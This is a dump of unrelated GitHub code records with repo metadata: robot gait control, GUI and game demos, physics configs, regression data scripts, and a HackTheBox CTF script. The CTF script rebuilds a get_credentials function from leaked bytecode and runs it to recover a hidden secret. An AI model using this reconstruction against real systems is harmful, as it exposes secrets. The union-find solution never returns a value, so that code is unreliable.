self.leg.shift_pep_contralateral(shift_distance)\n\n # function for executing a single step in either stance or swing movement depending on current phase.\n def manage_walk(self, legs_in_swing, swing):\n if self.leg.viz:\n self.leg.pub_pep_threshold()\n if self.swing:\n if swing:\n return self.execute_swing_step(legs_in_swing)\n else:\n self.robot.running = False\n return legs_in_swing\n else:\n return self.execute_stance_step(legs_in_swing)\n\n def execute_stance_step(self, legs_in_swing):\n # rospy.loginfo(self.name + \": execute stance step.\")\n if self.last_stance_activation:\n stance_duration = rospy.Time.now() - self.last_stance_activation\n else:\n stance_duration = None\n rules_msg = rules(0.0, 0.0, 0.0, 0.0, 0.0)\n if stance_duration and rospy.Duration.from_sec(0) <= stance_duration <= rospy.Duration.from_sec(self.delay_1b):\n rules_msg.rule1 = -self.displ_leg_rule1b\n if stance_duration and rospy.Duration.from_sec(0.27) <= stance_duration <= rospy.Duration.from_sec(0.32):\n rules_msg.rule2_ipsilateral = self.displ_leg_ipsilateral_rule2_default\n rules_msg.rule2_contralateral = self.displ_leg_rule2\n if self.step_length and self.current_stance_start is not None:\n stance_progress = numpy.linalg.norm(self.current_stance_start - self.leg.ee_position())\n else:\n stance_progress = self.target_pos[0] - self.leg.ee_position()[0]\n if self.threshold_rule3_ipsilateral < stance_progress < self.threshold_rule3_ipsilateral + 0.008:\n rules_msg.rule3_ipsilateral = self.displ_leg_ipsilateral_rule3_default\n if self.threshold_rule3_contralateral < stance_progress < self.threshold_rule3_contralateral + 0.008:\n rules_msg.rule3_contralateral = self.displ_leg_rule3\n self.pub_rules(rules_msg)\n self.stance_net.modulated_routine_function_call()\n # rospy.loginfo(self.name + ': current pep_thresh = ' + str(self.leg.pep_thresh))\n # if self.leg.reached_pep() and legs_in_swing < 3:\n if (self.step_length and self.leg.reached_step_length() and legs_in_swing < 3) or (\n not self.step_length and self.leg.reached_pep() and legs_in_swing < 3):\n # if self.name == \"rf\":\n # rospy.logerr(self.name + \": reached_pep. switch to swing mode.\")\n self.stance_net.reset_stance_trajectory()\n if (self.shift_aep or self.shift_aep_x) and self.stance_count > 0:\n self.move_aep()\n self.swing = True\n self.current_swing_start_time = rospy.Time.now()\n if self.current_stance_start_time is not None:\n self.stance_durations.append((self.current_swing_start_time - self.current_stance_start_time).to_sec())\n # rospy.loginfo(self.name + \": append stance, stance_durations = \" + str(self.stance_durations))\n self.current_stance_start_time = None\n if not self.current_stance_delayed:\n if self.current_stance_start is not None:\n if len(self.stance_length_sum) > 10:\n self.stance_length_sum.pop(0)\n self.stance_length_sum.append(numpy.linalg.norm(self.leg.ee_position() - self.current_stance_start))\n self.stance_count += 1\n self.current_stance_start = None\n # else:\n # rospy.logwarn(self.name + \" no stance start position available, stance count = \" +\n # str(self.stance_count))\n self.current_stance_delayed = False\n legs_in_swing = legs_in_swing + 1\n # elif self.leg.reached_pep() and legs_in_swing >= 3:\n elif (self.step_length and self.leg.reached_step_length() and legs_in_swing >= 3) or (\n not self.step_length and self.leg.reached_pep() and legs_in_swing >= 3):\n rospy.logwarn(self.name + \": delayed swing start.\")\n self.swing_delays += 1\n if not self.current_stance_delayed:\n if self.current_stance_start is not None:\n if len(self.stance_length_sum) > 10:\n self.stance_length_sum.pop(0)\n self.stance_length_sum.append(numpy.linalg.norm(self.leg.ee_position() - self.current_stance_start))\n self.stance_count += 1\n # self.current_stance_start = None\n # else:\n # rospy.logwarn(self.name + \" no stance start position available, stance count = \" +\n # str(self.stance_count))\n self.current_stance_delayed = True\n return legs_in_swing\n\n def move_aep(self):\n shifted_y = False\n\n ee_pos = self.leg.ee_position()\n step_vector = ee_pos - self.target_pos\n average_step_length = numpy.median(self.stance_length_sum)\n\n if self.shift_aep:\n step_vector_default_length = (average_step_length / numpy.linalg.norm(\n numpy.array(step_vector))) * step_vector\n\n ee_default_step = self.target_pos + step_vector_default_length\n # ydir\n offset_center_1 = self.target_pos[1] - RSTATIC.initial_aep[RSTATIC.leg_names.index(self.name) // 2].copy()[\n 1] * self.movement_dir\n offset_center_2 = RSTATIC.initial_aep[RSTATIC.leg_names.index(self.name) // 2].copy()[\n 1] * self.movement_dir - ee_default_step[1]\n new_aep_y = RSTATIC.initial_aep[RSTATIC.leg_names.index(self.name) // 2].copy()[\n 1] * self.movement_dir - (step_vector_default_length[1] / 2)\n if abs(new_aep_y - self.target_pos[1]) >= 0.01:\n rospy.loginfo(self.name + \": new_aep_y = {} previous aep = {} default aep y = {}\".format(new_aep_y,\n self.target_pos[1],\n RSTATIC.initial_aep[RSTATIC.leg_names.index(self.name) // 2].copy()[1] * self.movement_dir))\n self.target_pos[1] = new_aep_y\n # self.leg.shift_default_aep(self.target_pos)\n shifted_y = True\n\n # xdir\n shifted_x = False\n if self.shift_aep_x:\n step_vector_default_length = (average_step_length / numpy.linalg.norm(\n numpy.array(step_vector))) * step_vector\n\n x_center = RSTATIC.initial_aep[RSTATIC.leg_names.index(self.name) // 2].copy()[0] - (\n (RSTATIC.default_stance_distance * 1) / 2)\n new_aep_x = x_center - ((step_vector_default_length[0] * 1) / 2)\n if abs(new_aep_x - self.target_pos[0]) >= 0.01:\n rospy.loginfo(self.name + \": new_aep_x = {} previous aep = {} default aep y = {}\".format(new_aep_x,\n self.target_pos[0],\n RSTATIC.initial_aep[RSTATIC.leg_names.index(self.name) // 2].copy()[0]))\n self.target_pos[0] = new_aep_x\n shifted_x = True\n\n if shifted_y or shifted_x:\n rospy.loginfo(\n self.name + \": average stance length = {}, default stance length = {}\".format(average_step_length,\n self.default_step_length))\n self.leg.shift_default_aep(self.target_pos)\n\n def execute_swing_step(self, legs_in_swing):\n # rospy.loginfo(self.name + \": execute swing step.\")\n if self.swing_generator.swing_start_point is None:\n # rospy.loginfo(self.name + \": reset swing\")\n self.swing_generator.swing_start_point = self.leg.ee_position()\n self.swing_generator.swing_target_point = self.target_pos\n self.swing_generator.reacht_peak = False\n # self.temp.trajectory_generator.bezier_points = self.temp.compute_bezier_points()\n self.swing_generator.trajectory_generator.bezier_points = self.swing_generator.compute_bezier_points_with_joint_angles()\n rules_msg = rules(-self.displ_leg_rule1, 0.0, 0.0, 0.0, 0.0) # rules(-0.1, 0.0, 0.0, 0.0, 0.0)\n self.pub_rules(rules_msg)\n self.swing_generator.move_to_next_point(1)\n if self.swing_generator.reacht_peak and self.leg.predicted_ground_contact():\n self.swing_generator.move_to_next_point(0)\n self.swing_generator.swing_start_point = None\n self.swing = False\n self.current_stance_start_time = rospy.Time.now()\n if self.current_swing_start_time is not None:\n self.swing_durations.append((self.current_stance_start_time - self.current_swing_start_time).to_sec())\n # rospy.loginfo(self.name + \": append swing, swing_durations = \" + str(self.swing_durations))\n self.current_swing_start_time = None\n\n legs_in_swing = legs_in_swing - 1\n self.last_stance_activation = rospy.Time.now()\n # if self.name == \"rf\":\n # rospy.logerr(self.name + ': swing is finished switch to stance.')\n self.current_stance_start = self.leg.ee_position()\n return legs_in_swing\n\n # function for moving this leg into the position provided or the init position.\n def move_leg_to(self, p=None):\n if p is None and not rospy.is_shutdown():\n p = self.init_pos\n angles = self.leg.compute_inverse_kinematics(p)\n self.leg.set_joint_point_and_target(angles)\n","repo_name":"jsimmering/walknet-curvewalking","sub_path":"src/walknet_curvewalking_project/controller/single_leg_controller.py","file_name":"single_leg_controller.py","file_ext":"py","file_size_in_byte":17975,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"10977683462","text":"import customtkinter\n\n\nclass ExampleApp(customtkinter.CTk):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.geometry(\"500x400\")\n\n self.button_1 = customtkinter.CTkButton(self, text=\"Create CTkToplevel\", command=self.create_toplevel)\n self.button_1.pack(side=\"top\", padx=40, pady=40)\n\n def create_toplevel(self):\n window = customtkinter.CTkToplevel(self)\n window.geometry(\"400x200\")\n\n label = customtkinter.CTkLabel(window, text=\"CTkToplevel window\")\n label.pack(side=\"top\", fill=\"both\", expand=True, padx=40, pady=40)\n\n\napp = ExampleApp()\napp.mainloop()\n","repo_name":"AmazonTeam-Woosong/DrugDetection","sub_path":"test/manual_integration_tests/test_ctk_toplevel.py","file_name":"test_ctk_toplevel.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"2064169487","text":"# leaked properties of \"get_credentials\"\nARGCOUNT = 1\nPOSONLYARGCOUNT = 0\nKWONLYARGCOUNT = 0\nNLOCALS = 10\nSTACKSIZE = 6\nFLAGS = 67\nBYTECODE = b'd\\x01}\\x01d\\x02}\\x02d\\x03d\\x00d\\x00d\\x04\\x85\\x03\\x19\\x00}\\x03d\\x05d\\x00d\\x00d\\x04\\x85\\x03\\x19\\x00}\\x04d\\x06}\\x05d\\x07}\\x06d\\x08}\\x07t\\x00|\\x01\\x83\\x01|\\x03\\x17\\x00t\\x00d\\t\\x83\\x01\\x17\\x00|\\x04\\x17\\x00|\\x07\\x17\\x00|\\x02\\xa0\\x01d\\nd\\x0b\\xa1\\x02\\x17\\x00|\\x06d\\x00d\\x00d\\x04\\x85\\x03\\x19\\x00\\x17\\x00d\\x0c\\x17\\x00t\\x00|\\x05\\x83\\x01d\\r\\x14\\x00\\x17\\x00t\\x00d\\x0e\\x83\\x01\\x17\\x00}\\x01d\\x0fd\\x10d\\x11d\\x12\\x9c\\x03}\\x08|\\x08D\\x00]\\x14}\\t|\\x01\\xa0\\x01|\\t|\\x08|\\t\\x19\\x00\\xa1\\x02}\\x01q\\x8e|\\x01S\\x00'\nCONSTS = (None, 72, 'apts_c', 'BT', -1, 'orc', 109, 'ocoh', 'iss', 123, 'p', 'n', '_h', 4, 125, '0', '1', '4', ('o', 'l', 'a'))\nNAMES = ('chr', 'replace')\nVARNAMES = ('self', 'f', 'a', 'blue', 'c', 'm', 'h', 'i', 'd', 'x')\nFILENAME = '/home/ctf/database.py'\nNAME = 'get_credentials'\nFIRSTLINENO = 22\nLNOTAB = b'\\x00\\x01\\x04\\x01\\x04\\x01\\x0e\\x01\\x0e\\x01\\x04\\x01\\x04\\x01\\x04\\x01N\\x01\\x0c\\x01\\x08\\x01\\x12\\x01'\nCELLVARS = ()\nFREEVARS = ()\n\n# builder\nfunction_type = type(lambda: None)\ncode_type = type((lambda: None).__code__)\n\ncode_obj = code_type(ARGCOUNT, POSONLYARGCOUNT, KWONLYARGCOUNT, NLOCALS, STACKSIZE, FLAGS, BYTECODE, CONSTS, NAMES, VARNAMES, FILENAME, NAME, FIRSTLINENO, LNOTAB, cellvars=CELLVARS, freevars=FREEVARS)\nfunction_obj = function_type(code_obj, {'__builtins__': __builtins__}, None, None, None)\n\n# class\nclass SecureDatabase():\n\n def __init__(self):\n pass\n\nSecureDatabase.get_credentials = function_obj\n\nprint(SecureDatabase().get_credentials())\n","repo_name":"apehex/ctf","sub_path":"hackthebox/challenges/misc/vipere/sources/get_credentials.py","file_name":"get_credentials.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"74912129688","text":"#\n# @lc app=leetcode id=128 lang=python3\n#\n# [128] Longest Consecutive Sequence\n#\n\n# @lc code=start\nfrom collections import defaultdict\n\n\nclass Solution:\n def longestConsecutive(self, nums: List[int]) -> int:\n parent = defaultdict(int)\n for num in nums:\n parent[num] = num\n\n def find(v):\n if parent[v] == v:\n return v\n parent[v] = find(parent[v])\n return parent[v]\n\n def union(a, b):\n a = find(a)\n b = find(b)\n if a != b:\n parent[b] = a\n\n for num in nums:\n if num-1 in nums:\n union(num-1, num)\n if num+1 in nums:\n union(num+1, num)\n\n\n# @lc code=end\n","repo_name":"kartikey20/Leetcode","sub_path":"128.longest-consecutive-sequence.py","file_name":"128.longest-consecutive-sequence.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40871965583","text":"import FWCore.ParameterSet.VarParsing as VarParsing\nimport FWCore.PythonUtilities.LumiList as LumiList\nimport FWCore.ParameterSet.Config as cms\nimport FWCore.Utilities.FileUtils as FileUtils\nfrom Configuration.StandardSequences.Eras import eras\nfrom Configuration.Eras.Era_Run3_cff import Run3\n\nisMC = False\nisMINIAOD = True\nprocess = cms.Process(\"TagAndProbe\",eras.Run3)\nprocess.load(\"Configuration.StandardSequences.FrontierConditions_GlobalTag_cff\")\nprocess.load('Configuration.StandardSequences.RawToDigi_Data_cff')\nprocess.load('Configuration.StandardSequences.EndOfProcess_cff')\nprocess.load('Configuration.StandardSequences.FrontierConditions_GlobalTag_cff')\nprocess.load('Configuration.StandardSequences.Services_cff')\nprocess.load('SimGeneral.HepPDTESSource.pythiapdt_cfi')\nprocess.load('FWCore.MessageService.MessageLogger_cfi')\nprocess.load('Configuration.EventContent.EventContent_cff')\nprocess.load('Configuration.StandardSequences.GeometryRecoDB_cff')\n#process.load('Configuration.Geometry.GeometryExtended2016Reco_cff')\nprocess.load('Configuration.StandardSequences.MagneticField_AutoFromDBCurrent_cff')\n\n\noptions = VarParsing.VarParsing ('analysis')\noptions.register ('secondaryFilesList','',VarParsing.VarParsing.multiplicity.singleton,VarParsing.VarParsing.varType.string, \"List of secondary input files\")\n\noptions.register ('skipEvents',\n -1, # default value\n VarParsing.VarParsing.multiplicity.singleton, # singleton or list\n VarParsing.VarParsing.varType.int, # string, int, or float\n \"Number of events to skip\")\noptions.register ('JSONfile',\n \"\", # default value\n VarParsing.VarParsing.multiplicity.singleton, # singleton or list\n VarParsing.VarParsing.varType.string, # string, int, or float\n \"JSON file (empty for no JSON)\")\noptions.outputFile = 'NTuple.root'\noptions.inputFiles = []\noptions.maxEvents = -999\n\noptions.parseArguments()\n\n# START ELECTRON CUT BASED ID SECTION\n#\n# Set up everything that is needed to compute electron IDs and\n# add the ValueMaps with ID decisions into the event data stream\n#\n\n# Load tools and function definitions\nfrom PhysicsTools.SelectorUtils.tools.vid_id_tools import *\nfrom RecoEgamma.ElectronIdentification.egmGsfElectronIDs_cfi import *\nfrom PhysicsTools.SelectorUtils.centralIDRegistry import central_id_registry\n\nprocess.load(\"RecoEgamma.ElectronIdentification.ElectronMVAValueMapProducer_cfi\")\n\n#**********************\ndataFormat = DataFormat.AOD\nif isMINIAOD:\n dataFormat = DataFormat.MiniAOD\nswitchOnVIDElectronIdProducer(process, dataFormat)\n#**********************\n\nprocess.load(\"RecoEgamma.ElectronIdentification.egmGsfElectronIDs_cfi\")\n# overwrite a default parameter: for miniAOD, the collection name is a slimmed one\nif isMINIAOD:\n process.egmGsfElectronIDs.physicsObjectSrc = cms.InputTag('slimmedElectrons')\n\n\nfrom PhysicsTools.SelectorUtils.centralIDRegistry import central_id_registry\nprocess.egmGsfElectronIDSequence = cms.Sequence(process.egmGsfElectronIDs)\n\n# Define which IDs we want to produce\n# Each of these two example IDs contains all four standard \nmy_id_modules =[\n'RecoEgamma.ElectronIdentification.Identification.mvaElectronID_Fall17_iso_V1_cff'\n] \n\n\n#Add them to the VID producer\nfor idmod in my_id_modules:\n setupAllVIDIdsInModule(process,idmod,setupVIDElectronSelection)\n\nfrom RecoEgamma.ElectronIdentification.ElectronMVAValueMapProducer_cfi import *\n\negmGsfElectronIDTask = cms.Task(\n #electronMVAVariableHelper,\n electronMVAValueMapProducer,\n egmGsfElectronIDs\n)\negmGsfElectronIDSequence = cms.Sequence(egmGsfElectronIDTask)\n\nif not isMC: # will use 80X\n from Configuration.AlCa.autoCond import autoCond\n process.GlobalTag.globaltag = '130X_dataRun3_Prompt_v1'\n process.load('EGTagAndProbe.EGTagAndProbe.tagAndProbe_cff')\n process.source = cms.Source(\"PoolSource\",\n fileNames = cms.untracked.vstring(\n '/store/data/Run2022G/EGamma/MINIAOD/PromptReco-v1/000/362/720/00000/0138bf47-5143-472f-8534-217007e8fa63.root'\n ),\n\n secondaryFileNames = cms.untracked.vstring(\n '/store/data/Run2022G/EGamma/RAW/v1/000/362/720/00000/1b8cca41-4006-4d9f-b09e-da62de168701.root',\n '/store/data/Run2022G/EGamma/RAW/v1/000/362/720/00000/cf9e57ac-b7f6-410c-a2a1-b32766436f11.root',\n '/store/data/Run2022G/EGamma/RAW/v1/000/362/720/00000/650a83d6-eb55-4363-b554-b215bbc7cc5c.root',\n '/store/data/Run2022G/EGamma/RAW/v1/000/362/720/00000/43be0c19-43f2-4ba4-9298-0c670fa063fd.root',\n '/store/data/Run2022G/EGamma/RAW/v1/000/362/720/00000/d6e721d8-7d0b-4ad1-8bc9-5faaa249cea1.root',\n '/store/data/Run2022G/EGamma/RAW/v1/000/362/720/00000/44f9a415-b092-43ab-a763-534abf990915.root'\n )\n )\nelse:\n process.GlobalTag.globaltag = '123X_mcRun3_2021_realistic_v13'\n process.load('EGTagAndProbe.EGTagAndProbe.MCanalysis_cff')\n process.source = cms.Source(\"PoolSource\",\n fileNames= cms.untracked.vstring(\n '/store/mc/Run3Winter21DRMiniAOD/DYToLL_M-50_TuneCP5_14TeV-pythia8/MINIAODSIM/FlatPU30to80FEVT_112X_mcRun3_2021_realistic_v16-v2/120000/08ea458b-8a11-4822-b49c-cee9b4a85630.root'\n ),\n )\n \n process.Ntuplizer.useHLTMatch = cms.bool(False) #In case no HLT object in MC sample considered or you're fed up with trying to find the right HLT collections\n\nif isMINIAOD:\n process.Ntuplizer.electrons = cms.InputTag(\"slimmedElectrons\")\n process.Ntuplizer.genParticles = cms.InputTag(\"prunedGenParticles\")\n process.Ntuplizer.Vertices = cms.InputTag(\"offlineSlimmedPrimaryVertices\")\n\nprocess.schedule = cms.Schedule()\n\n## L1 emulation stuff\n\nif not isMC:\n from L1Trigger.Configuration.customiseReEmul import L1TReEmulFromRAW \n process = L1TReEmulFromRAW(process)\nelse:\n from L1Trigger.Configuration.customiseReEmul import L1TReEmulMCFromRAW\n process = L1TReEmulMCFromRAW(process) \n from L1Trigger.Configuration.customiseUtils import L1TTurnOffUnpackStage2GtGmtAndCalo \n process = L1TTurnOffUnpackStage2GtGmtAndCalo(process)\n\n\nprocess.load(\"L1Trigger.L1TCalorimeter.caloParams_2022_v0_6_modZS0p5_cfi\")\n\n#### handling of cms line options for tier3 submission\n#### the following are dummy defaults, so that one can normally use the config changing file list by hand etc.\n\nif options.JSONfile:\n print( \"Using JSON: \" , options.JSONfile)\n process.source.lumisToProcess = LumiList.LumiList(filename = options.JSONfile).getVLuminosityBlockRange()\n\nif options.inputFiles:\n process.source.fileNames = cms.untracked.vstring(options.inputFiles)\n\nif options.secondaryFilesList:\n listSecondaryFiles = FileUtils.loadListFromFile(options.secondaryFilesList)\n process.source.secondaryFileNames = cms.untracked.vstring(listSecondaryFiles)\n\nprocess.maxEvents = cms.untracked.PSet(\n input = cms.untracked.int32(500)\n)\n\nif options.maxEvents >= -1:\n process.maxEvents.input = cms.untracked.int32(options.maxEvents)\nif options.skipEvents >= 0:\n process.source.skipEvents = cms.untracked.uint32(options.skipEvents)\n\nprocess.options = cms.untracked.PSet(\n wantSummary = cms.untracked.bool(True)\n)\n\nprocess.p = cms.Path (\n process.egmGsfElectronIDSequence +\n process.RawToDigi +\n process.L1TReEmul +\n process.NtupleSeq\n)\n\nprocess.schedule = cms.Schedule(process.p) # do my sequence pls\n\n# Silence output\nprocess.load(\"FWCore.MessageService.MessageLogger_cfi\")\nprocess.MessageLogger.cerr.FwkReport.reportEvery = 100\n\n# Adding ntuplizer\nprocess.TFileService=cms.Service('TFileService',fileName=cms.string(options.outputFile))\n","repo_name":"ats2008/EGTagAndProbe","sub_path":"EGTagAndProbe/test/TAandPReEmulated_run3.py","file_name":"TAandPReEmulated_run3.py","file_ext":"py","file_size_in_byte":7643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20568101132","text":"import pickle\nimport os\nimport pandas as pd\n\nimport seaborn as sns\nfrom sklearn.model_selection import train_test_split\nimport matplotlib.pyplot as plt\nimport smogn\nimport numpy as np\n\nori_path = ('/Users/lujingze/Programming/SWFusion/'\n 'regression/tc/dataset/original/')\n\n\ndef split_validset_from_trainset():\n train_path = f'{ori_path}train.pkl'\n with open(train_path, 'rb') as f:\n train = pickle.load(f)\n\n y_full = train['smap_windspd']\n indices_to_delete = []\n bins = np.linspace(0, y_full.max(), int(y_full.max() / 5))\n y_binned = np.digitize(y_full, bins)\n\n unique, counts = np.unique(y_binned, return_counts=True)\n for idx, val in enumerate(counts):\n if val < 2:\n indices_to_delete.append(idx)\n bins = np.delete(bins, indices_to_delete)\n y_binned = np.digitize(y_full, bins)\n\n train_splitted, valid = train_test_split(train, test_size=0.2,\n stratify=y_binned)\n train_splitted.reset_index(drop=True, inplace=True)\n valid.reset_index(drop=True, inplace=True)\n\n train_splitted.to_pickle(f'{ori_path}train_splitted.pkl')\n valid.to_pickle(f'{ori_path}valid.pkl')\n\n# split_validset_from_trainset()\n\ndef remove_index_col_from_original_dataset():\n zero_paths = [f'{ori_path}train.pkl',\n f'{ori_path}test.pkl']\n for idx, path in enumerate(zero_paths):\n with open(path, 'rb') as f:\n df = pickle.load(f)\n df.drop(columns='index', inplace=True)\n df.to_pickle(path)\n\n\ndef remove_zero_windspd_from_original_dataset():\n zero_paths = [f'{ori_path}train_with_zero_windspd.pkl',\n f'{ori_path}test_with_zero_windspd.pkl']\n nonzero_fnames = ['train.pkl', 'test.pkl']\n for path, fname in zip(zero_paths, nonzero_fnames):\n with open(path, 'rb') as f:\n df = pickle.load(f)\n indices = df.index[df['smap_windspd'] == 0].tolist()\n new_df = df.drop(index=indices)\n new_df.reset_index(inplace=True, drop=True)\n breakpoint()\n new_df.to_pickle(f'{ori_path}{fname}')\n\n# remove_index_col_from_original_dataset()\n\ndataset_paths = {\n 'ori': {\n 'train': ('/Users/lujingze/Programming/SWFusion/regression/'\n 'tc/dataset/original/train.pkl'),\n 'test': ('/Users/lujingze/Programming/SWFusion/regression/'\n 'tc/dataset/original/test.pkl'),\n 'train_splitted': ('/Users/lujingze/Programming/SWFusion/regression/'\n 'tc/dataset/original/train_splitted.pkl'),\n 'valid': ('/Users/lujingze/Programming/SWFusion/regression/'\n 'tc/dataset/original/valid.pkl'),\n },\n 'smogn_final_on_all': {\n 'train': ('/Users/lujingze/Programming/SWFusion/regression/'\n 'tc/dataset/smogn_final/smogn_on_all_data/'\n 'train_smogn_on_all_data.pkl'),\n 'test': ('/Users/lujingze/Programming/SWFusion/regression/'\n 'tc/dataset/smogn_final/smogn_on_all_data/'\n 'test_smogn_on_all_data.pkl'),\n },\n 'smogn_final_on_train': {\n 'train': ('/Users/lujingze/Programming/SWFusion/regression/'\n 'tc/dataset/smogn_final/smogn_on_train/'\n 'train_smogn_on_train.pkl'),\n 'test': ('/Users/lujingze/Programming/SWFusion/regression/'\n 'tc/dataset/original/test.pkl'),\n },\n 'smogn_final_on_train_splitted': {\n 'train': ('/Users/lujingze/Programming/SWFusion/regression/'\n 'tc/dataset/smogn_final/smogn_on_train_splitted/'\n 'train_splitted_smogn.pkl'),\n 'test': ('/Users/lujingze/Programming/SWFusion/regression/'\n 'tc/dataset/original/test.pkl'),\n },\n}\n\ndataset = dict()\nfor idx_1, (key_1, val_1) in enumerate(dataset_paths.items()):\n dataset[key_1] = dict()\n for idx_2, (key_2, val_2) in enumerate(val_1.items()):\n try:\n with open(val_2, 'rb') as f:\n dataset[key_1][key_2] = pickle.load(f)\n except Exception as msg:\n breakpoint()\n\ndef plot_dist():\n with open(('/Users/lujingze/Programming/SWFusion/regression/tc/'\n 'dataset/smogn_hyperopt/'\n 'k_7_pert_0.02_samp_extreme_0.9_auto_high_3.5/train_smogn.pkl'),\n 'rb') as f:\n auto_train_smogn = pickle.load(f)\n\n sns.set_style(\"whitegrid\")\n # plot y distribution\n # sns.kdeplot(dataset['ori']['train']['smap_windspd'], clip=(0, 99),\n # label='Original train')\n # sns.kdeplot(dataset['ori']['test']['smap_windspd'], clip=(0, 99),\n # label='Original test')\n sns.kdeplot(dataset['ori']['train_splitted']['smap_windspd'], clip=(0, 99),\n label='Original train_splitted')\n sns.kdeplot(dataset['ori']['valid']['smap_windspd'], clip=(0, 99),\n label='Original valid')\n sns.kdeplot(dataset['smogn_final_on_train_splitted']['train'][\n 'smap_windspd'], clip=(0, 99), label='SMOGN train_splitted')\n # sns.kdeplot(dataset['smogn_final_on_all']['train']['smap_windspd'],\n # clip=(0, 99), label='SMOGN_on_all train')\n # sns.kdeplot(dataset['smogn_final_on_all']['test']['smap_windspd'],\n # clip=(0, 99), label='SMOGN_on_all test')\n # sns.kdeplot(dataset['smogn_final_on_train']['train']['smap_windspd'],\n # clip=(0, 99), label='SMOGN_on_train train')\n # sns.kdeplot(auto_train_smogn['smap_windspd'],\n # clip=(0, 99), label='auto_SMOGN train')\n # sns.kdeplot(dataset['smogn_final_on_train']['test']['smap_windspd'],\n # clip=(25, 99), label='SMOGN_on_train test')\n # add labels of x and y axis\n plt.xlabel('SMAP wind speed (m/s)')\n plt.ylabel('Probability')\n # plt.savefig((f\"\"\"{the_class.smogn_setting_dir}\"\"\"\n # f\"\"\"dist_of_trainset_comparison.png\"\"\"))\n plt.show()\n\ndef smogn_on_train_splitted():\n smogn_params = dict(\n # main arguments\n data=dataset['ori']['train_splitted'],\n y='smap_windspd', # string ('header name')\n k=7, # positive integer (k < n)\n pert=0.02, # real number (0 < R < 1)\n samp_method='extreme', # string ('balance' or 'extreme')\n drop_na_col=True, # boolean (True or False)\n drop_na_row=True, # boolean (True or False)\n replace=False, # boolean (True or False)\n\n # phi relevance arguments\n rel_thres=0.9, # real number (0 < R < 1)\n rel_method='manual', # string ('auto' or 'manual')\n # rel_xtrm_type='high', # unused (rel_method='manual')\n # rel_coef=3.525, # unused (rel_method='manual')\n rel_ctrl_pts_rg = [\n [5, 0, 0],\n [20, 0, 0],\n [35, 0, 0],\n [50, 1, 0]\n ]\n )\n\n save_dir = ('/Users/lujingze/Programming/SWFusion/regression/'\n 'tc/dataset/smogn_final/smogn_on_train_splitted/')\n train_splitted_smogn = smogn.smoter(**smogn_params)\n os.makedirs(save_dir, exist_ok=True)\n train_splitted_smogn.to_pickle(f'{save_dir}train_splitted_smogn.pkl')\n\n# smogn_on_train_splitted()\nplot_dist()\n","repo_name":"Neo-101-zz/R2S","sub_path":"r2s/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":7234,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"26192748649","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport os\nclass diskwalk(object):\n def __init__(self,path):\n self.path = path\n def paths(self):\n path=self.path\n path_collection=[]\n for dirpath,dirnames,filenames in os.walk(path):\n for file in filenames:\n fullpath=os.path.join(dirpath,file)\n path_collection.append(fullpath)\n return path_collection\n\nif __name__ == '__main__':\n for file in diskwalk('../data/').paths():\n print(file)","repo_name":"woguwo/crackpw","sub_path":"until/disk_file.py","file_name":"disk_file.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"44781840228","text":"from re import T\nfrom turtle import color, width\nimport pygame\nimport os\npygame.font.init()\n\nHEALTH_FONT=pygame.font.SysFont('comicsans',40)\nWINNER_FONT=pygame.font.SysFont('comicsans',100)\nWIDTH,HEIGHT=900,500\nWIN = pygame.display.set_mode((WIDTH,HEIGHT))\nBORDER=pygame.Rect(WIDTH//2 -5, 0 ,10,HEIGHT)\nWHITE=(255,255,255)\nBLACK=(0,0,0)\nRED=(255,0,0)\nYELLOW=(255,255,0)\nDARK_BLUE=(11,11,69)\n\nMAX_BULLETS=3\npygame.display.set_caption(\"First Game\")\nFPS = 60\nVELOCITY=5\n\nRED_HIT=pygame.USEREVENT +1\nYELLOW_HIT=pygame.USEREVENT +2\n\nYELLOW_SPACESHIP_IMAGE=pygame.image.load(os.path.join('Assets','spaceship_yellow.png'))\nYELLOW_SPACESHIP=pygame.transform.rotate(pygame.transform.scale(YELLOW_SPACESHIP_IMAGE,(55,40)),90)\n\nRED_SPACESHIP_IMAGE=pygame.image.load(os.path.join('Assets','spaceship_red.png'))\nRED_SPACESHIP=pygame.transform.rotate (pygame.transform.scale(RED_SPACESHIP_IMAGE,(55,40)),-90)\n\nSPACE_IMAGE=pygame.transform.scale (pygame.image.load(os.path.join('Assets','space.png')),(WIDTH,HEIGHT))\n\ndef draw(red,yellow,rb,yb,rh,yh):\n \n WIN.blit(SPACE_IMAGE,(0,0))\n pygame.draw.rect(WIN,BLACK,BORDER)\n WIN.blit(RED_SPACESHIP,(red.x,red.y ))\n WIN.blit(YELLOW_SPACESHIP,(yellow.x,yellow.y ))\n red_health_text=HEALTH_FONT.render(\"Health:\" + str(rh),1,WHITE)\n yellow_health_text=HEALTH_FONT.render(\"Health:\" + str(yh),1,WHITE)\n WIN.blit(yellow_health_text,(10,10))\n WIN.blit(red_health_text,(WIDTH- red_health_text.get_width()-10,10))\n for bullet in rb :\n pygame.draw.rect(WIN,RED,bullet)\n \n for bullet in yb :\n pygame.draw.rect(WIN,YELLOW,bullet)\n \n pygame.display.update()\n\n\ndef yellow_move(key_pressed,color):\n if key_pressed[pygame.K_q] and color.x-VELOCITY>0:\n color.x-=VELOCITY\n if key_pressed[pygame.K_z] and color.y-VELOCITY>0:\n color.y-=VELOCITY\n if key_pressed[pygame.K_d] and color.x+VELOCITY<445-55:\n color.x+=VELOCITY\n if key_pressed[pygame.K_s]and color.y+VELOCITY<500-40:\n color.y+=VELOCITY\n \ndef red_move(key_pressed,color):\n if key_pressed[pygame.K_LEFT] and color.x-VELOCITY>465:\n 